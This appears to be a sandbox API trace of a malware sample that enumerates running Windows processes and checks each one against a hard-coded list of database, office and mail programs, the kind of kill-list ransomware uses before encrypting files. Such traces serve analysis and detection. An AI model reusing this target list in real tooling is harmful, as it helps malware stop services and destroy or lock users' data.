	[0082.115] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="oracle.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="ocssd.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="synctime.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="ocomm.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="dbeng50.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="excel.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="infopath.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="msaccess.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="mspub.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="onenote.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="powerpnt.exe", lpString2="smss.exe") returned -1
	[0082.115] lstrcmpiW (lpString1="steam.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="thebat.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="thebat64.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="thunderbird.exe", lpString2="smss.exe") returned 1
	[0082.115] lstrcmpiW (lpString1="visio.exe", lpString2="smss.exe") returned 1
	[0082.116] lstrcmpiW (lpString1="winword.exe", lpString2="smss.exe") returned 1
	[0082.116] lstrcmpiW (lpString1="wordpad.exe", lpString2="smss.exe") returned 1
	[0082.116] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0082.116] lstrcmpiW (lpString1="msftesql.exe", lpString2="csrss.exe") returned 1
	[0082.116] lstrcmpiW (lpString1="sqlagent.exe", lpString2="csrss.exe") returned 1
	[0082.116] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="csrss.exe") returned 1
	[0082.116] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0082.116] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="csrss.exe") returned 1
	[0082.116] lstrcmpiW (lpString1="oracle.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="ocssd.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="synctime.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="csrss.exe") returned -1
	[0082.117] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="csrss.exe") returned -1
	[0082.117] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="csrss.exe") returned -1
	[0082.117] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="ocomm.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="dbeng50.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="excel.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="infopath.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="msaccess.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="mspub.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="onenote.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="powerpnt.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="steam.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="thebat.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="thebat64.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="thunderbird.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="visio.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="winword.exe", lpString2="csrss.exe") returned 1
	[0082.117] lstrcmpiW (lpString1="wordpad.exe", lpString2="csrss.exe") returned 1
	[0082.117] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0082.118] lstrcmpiW (lpString1="msftesql.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="sqlagent.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="oracle.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="ocssd.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="synctime.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="wininit.exe") returned 1
	[0082.118] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="ocomm.exe", lpString2="wininit.exe") returned -1
	[0082.118] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="dbeng50.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="excel.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="infopath.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="msaccess.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="mspub.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="onenote.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="powerpnt.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="steam.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="thebat.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="thebat64.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="thunderbird.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="visio.exe", lpString2="wininit.exe") returned -1
	[0082.119] lstrcmpiW (lpString1="winword.exe", lpString2="wininit.exe") returned 1
	[0082.119] lstrcmpiW (lpString1="wordpad.exe", lpString2="wininit.exe") returned 1
	[0082.119] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0082.120] lstrcmpiW (lpString1="msftesql.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="sqlagent.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="oracle.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="ocssd.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="synctime.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="csrss.exe") returned -1
	[0082.120] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="csrss.exe") returned -1
	[0082.120] lstrcmpiW (lpString1="agntsvc.exeencsvc.exe", lpString2="csrss.exe") returned -1
	[0082.120] lstrcmpiW (lpString1="firefoxconfig.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="tbirdconfig.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="ocomm.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="mysqld-opt.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="dbeng50.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="sqbcoreservice.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="excel.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="infopath.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="msaccess.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="mspub.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="onenote.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="powerpnt.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="steam.exe", lpString2="csrss.exe") returned 1
	[0082.120] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0082.121] lstrcmpiW (lpString1="thebat.exe", lpString2="csrss.exe") returned 1
	[0082.121] lstrcmpiW (lpString1="thebat64.exe", lpString2="csrss.exe") returned 1
	[0082.121] lstrcmpiW (lpString1="thunderbird.exe", lpString2="csrss.exe") returned 1
	[0082.121] lstrcmpiW (lpString1="visio.exe", lpString2="csrss.exe") returned 1
	[0082.121] lstrcmpiW (lpString1="winword.exe", lpString2="csrss.exe") returned 1
	[0082.121] lstrcmpiW (lpString1="wordpad.exe", lpString2="csrss.exe") returned 1
	[0082.121] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0082.121] lstrcmpiW (lpString1="msftesql.exe", lpString2="winlogon.exe") returned -1
	[0082.121] lstrcmpiW (lpString1="sqlagent.exe", lpString2="winlogon.exe") returned -1
	[0082.121] lstrcmpiW (lpString1="sqlbrowser.exe", lpString2="winlogon.exe") returned -1
	[0082.121] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0082.121] lstrcmpiW (lpString1="sqlwriter.exe", lpString2="winlogon.exe") returned -1
	[0082.121] lstrcmpiW (lpString1="oracle.exe", lpString2="winlogon.exe") returned -1
	[0082.121] lstrcmpiW (lpString1="ocssd.exe", lpString2="winlogon.exe") returned -1
	[0082.121] lstrcmpiW (lpString1="dbsnmp.exe", lpString2="winlogon.exe") returned -1
	[0082.122] lstrcmpiW (lpString1="synctime.exe", lpString2="winlogon.exe") returned -1
	[0082.122] lstrcmpiW (lpString1="mydesktopqos.exe", lpString2="winlogon.exe") returned -1
	[0082.122] lstrcmpiW (lpString1="agntsvc.exeisqlplussvc.exe", lpString2="winlogon.exe") returned -1
	[0082.122] lstrcmpiW (lpString1="xfssvccon.exe", lpString2="winlogon.exe") returned 1
	[0082.122] lstrcmpiW (lpString1="mydesktopservice.exe", lpString2="winlogon.exe") returned -1
	[0082.122] lstrcmpiW (lpString1="ocautoupds.exe", lpString2="winlogon.exe") returned -1
	[0082.122] lstrcmpiW (lpString1="agntsvc.exeagntsvc.exe", lpString2="winlogon.exe") returned -1
	[0082.122] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0082.122] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0082.123] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.124] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.125] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0082.125] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.126] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.126] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.127] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.128] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.128] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x264, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.129] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0082.129] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.130] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.131] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0082.132] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.132] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0082.133] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0082.133] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0082.134] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0082.135] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0082.138] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0082.139] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="beds-rice-judgment.exe")) returned 1
	[0082.139] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="crash.exe")) returned 1
	[0082.140] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="tucson.exe")) returned 1
	[0082.141] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="bed residential remove pantyhose.exe")) returned 1
	[0082.141] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="threat.exe")) returned 1
	[0082.142] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="stays_actors_hardware_cf.exe")) returned 1
	[0082.143] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="atomicphysician.exe")) returned 1
	[0082.144] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sydney.exe")) returned 1
	[0082.144] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="nrappreciate.exe")) returned 1
	[0082.145] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="imagine_perspective_martha_crime.exe")) returned 1
	[0082.145] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="responsible-contained-office.exe")) returned 1
	[0082.146] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1
	[0082.146] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="danish.exe")) returned 1
	[0082.147] Process32NextW (in: hSnapshot=0x134, lppe=0x60000 | out: lppe=0x60000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="theft ye.exe")) returned 1
